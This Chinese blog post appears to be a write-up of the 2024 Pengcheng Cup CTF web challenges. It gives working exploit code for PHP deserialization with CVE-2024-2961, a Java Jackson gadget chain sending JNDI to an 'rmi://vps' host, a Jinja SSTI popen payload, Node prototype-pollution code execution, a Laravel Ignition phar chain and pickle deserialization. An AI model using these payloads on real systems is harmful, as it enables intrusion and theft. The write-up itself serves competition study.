2024鹏城杯-web

前言

复健了。web包ak的。

评价为弱智题。

fileread

反序列化任意文件读,能找到根目录有readflag但是无回显,需要RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class cls1{
var $cls;
var $arr;
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
}

$a=new cls1();
$a->cls=new cls2();
// // $a->cls->filename='/proc/1/cmdline';
// $a->cls->filename='/tmp/run.sh';
$a->cls->filename='/etc/passwd';
$a->arr=['fileput'];
echo base64_encode(serialize($a));

版本为php8,想到打CVE-2024-2961:

1
2
3
curl "http://192.168.18.24/?ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjE1OiIvcHJvYy9zZWxmL21hcHMiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjc6ImZpbGVwdXQiO319" -o maps

curl "http://192.168.18.24/?ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjg0OiJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9saWJjLnNvLjYiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjc6ImZpbGVwdXQiO319" -o ./1.txt

由于有前缀需要删除,所以base64转一下libc.so,然后手动删除再转回来:

image-20241109111401184

1
2
3
4
5
6
7
8
9
10
11
12
import base64

# Read the base64 encoded content from the file
with open('lic.txt', 'r') as file:
base64_content = file.read()

# Decode the base64 content to binary
binary_content = base64.b64decode(base64_content)

# Write the binary content to the output file
with open('lic.so', 'wb') as file:
file.write(binary_content)

然后就是用iconv脚本打,再传参payload,已经可以RCE了:

img

蚁剑连接,读readflag:

img

LookUP

二次反序列化用Jackson链打JNDI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.eddiemurphy;

import com.backdoor.classes.hello;
import com.backdoor.classes.look;
import com.backdoor.util.MyInputstream;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.security.*;
import java.util.Base64;
import java.util.HashSet;

public class Exp {

public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {

Class clazz = Class.forName("com.backdoor.classes.hello");
Field f = clazz.getDeclaredField("name");
f.setAccessible(true);
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object o = constructor.newInstance();
f.set(o,"rmi://vps:1099/akmaoy");

try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
};

HashSet hashSet = new HashSet();
hashSet.add(o);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashSet, kp.getPrivate(), Signature.getInstance("DSA"));

POJONode pojoNode = new POJONode(signedObject);
BadAttributeValueExpException bad = new BadAttributeValueExpException("test");
Class clazz1 = bad.getClass();
Field declaredField = clazz1.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(bad,pojoNode);


ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream o1 = new ObjectOutputStream(b1);
o1.writeObject(bad);
o1.close();

System.out.println(Base64.getEncoder().encodeToString(b1.toByteArray()));

// ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
// ObjectInputStream o2 = new MyInputstream(b2);
// o2.readObject();
// o2.close();

}


}

image-20241113201326361

python口算

首先用脚本算出答案提交,得到hint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/')
def index(solved=0):
global current_expr

# 前端计算
.....
.....
# 通过计算

username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

修改脚本直接打SSTI。

好像waf就过滤了我payload中的空格,过滤少了,直接就出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

def fetch_expression(url):
response = requests.get(url)
if response.status_code == 200:
return response.text.strip()
else:
print(f"Failed to fetch expression. Status code: {response.status_code}")
return None

def calculate_and_submit(expression, submit_url):
try:
result = eval(expression)
except Exception as e:
print(f"Error evaluating expression: {e}")
return

payload = "{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat${IFS}/flag').read()}}"
response = requests.post(url=submit_url + f"?&answer={result}&Submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2", data={'username': payload})
if response.status_code == 200:
print("Successfully sent the answer.")
print(response.text)
else:
print(f"Failed to send the answer. Status code: {response.status_code}")

# URL to fetch the expression
url = "http://192.168.18.28/calc"

# Fetch the expression
expression = fetch_expression(url)
if expression:
print(f"Fetched expression: {expression}")
# URL to submit the result
submit_url = "http://192.168.18.28/"
calculate_and_submit(expression, submit_url)

image-20241109123947868

notadmin

审计源码发现merge逻辑,想到原型链污染,先污染secretKey,然后本地制作一个token,然后再打code的原型链污染执行代码,由于blacklist里 + 被ban了,所以base64凭借绕过的时候也需要考虑编码里有无加号。

本地制作username为admin和key为admin的jwt:

image-20241109154211359

1
2
3
4
5
6
res = requests.post(url+"/login", json={
"__proto__":{
"code":"Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjYXQgLyogPj4vYXBwL3ZpZXdzL2xvZ2luLmVqcyIp`,`bas`.concat(`e64`)).toString())",
"secretKey":"admin"
},
"password":"admin"})

base64中的命令为:

image-20241109154523192

然后带token访问:

1
res = requests.get(url, headers={"authorization":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTM4MTIwfQ.xhWbYZSufvhAnxhOdLPORZCJ05F9HSmuQUHV9tzw364"})

第一次访问污染secretKey,第二次访问带token执行code,将根目录文件写入/app/views/login.ejs前端文件,然后网页查看,已经有flag了:

image-20241109154711254

image-20241109154722012

ezlaravel

用Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数构造恶意Log文件触发Phar反序列化

1
2
3
4
5
6
7
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
1
2
3
4
5
6
7
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
1
2
3
4
5
6
7
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=2B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=49=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=54=00=49=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=47=00=5A=00=70=00=62=00=47=00=56=00=66=00=63=00=48=00=56=00=30=00=58=00=32=00=4E=00=76=00=62=00=6E=00=52=00=6C=00=62=00=6E=00=52=00=7A=00=4B=00=43=00=64=00=6B=00=62=00=33=00=55=00=7A=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=73=00=49=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=46=00=39=00=6B=00=5A=00=57=00=4E=00=76=00=5A=00=47=00=55=00=6F=00=4A=00=31=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=64=00=4F=00=62=00=32=00=4A=00=35=00=51=00=54=00=4A=00=4F=00=61=00=6C=00=6B=00=33=00=57=00=6C=00=64=00=4F=00=62=00=32=00=4A=00=35=00=51=00=6E=00=70=00=6C=00=57=00=45=00=34=00=77=00=57=00=6C=00=63=00=77=00=62=00=30=00=6C=00=74=00=65=00=48=00=70=00=4A=00=51=00=7A=00=68=00=70=00=53=00=31=00=52=00=30=00=62=00=47=00=52=00=74=00=52=00=6E=00=4E=00=4C=00=51=00=31=00=4A=00=6D=00=56=00=55=00=55=00=35=00=56=00=46=00=5A=00=47=00=63=00=33=00=68=00=4E=00=61=00=6B=00=35=00=6B=00=53=00=31=00=52=00=30=00=64=00=32=00=46=00=49=00=51=00=6E=00=42=00=69=00=62=00=56=00=70=00=32=00=53=00=30=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=6E=00=4B=00=53=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=59=00=67=00=49=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=6F=00=35=00=62=00=7A=00=42=00=2F=00=4C=00=76=00=47=00=6D=00=74=00=78=00=42=00=2B=00=4B=00=4E=00=7A=00=58=00=43=00=38=00=4B=00=78=00=37=00=43=00=4D=00=42=00=77=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
}
}
1
2
3
4
5
6
7
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
1
2
3
4
5
6
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName": "username",
"viewFile": "phar://../storage/logs/laravel.log" }
}

img

image-20241109161440626

ezpython

纯sb题。

/login有路由,弱密码test/123456登录,拿到jwt-token。

爆破密钥得到a123456。。。。懒得喷。

得到弹窗:

image-20241113200902181

/ser打pickle反序列化:

1
2
3
4
5
6
7
8
import pickle 
import base64
def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)


return '', 204

没有过滤,随便打。raise Exception抛错或者反弹shell都可以。

后记

犹记得前几个月的羊城杯我们能本科组第二,学长ak靶场本科组第一。还以为这次原班人马能再续辉煌。

但是很难以评价的赛事安排,跟网鼎杯决赛撞了,所以这次线下去不了了。

再见广东。再见深圳。


2024鹏城杯-web
https://eddiemurphy89.github.io/2024/11/13/2024鹏城杯-web/
作者
EddieMurphy
发布于
2024年11月13日
许可协议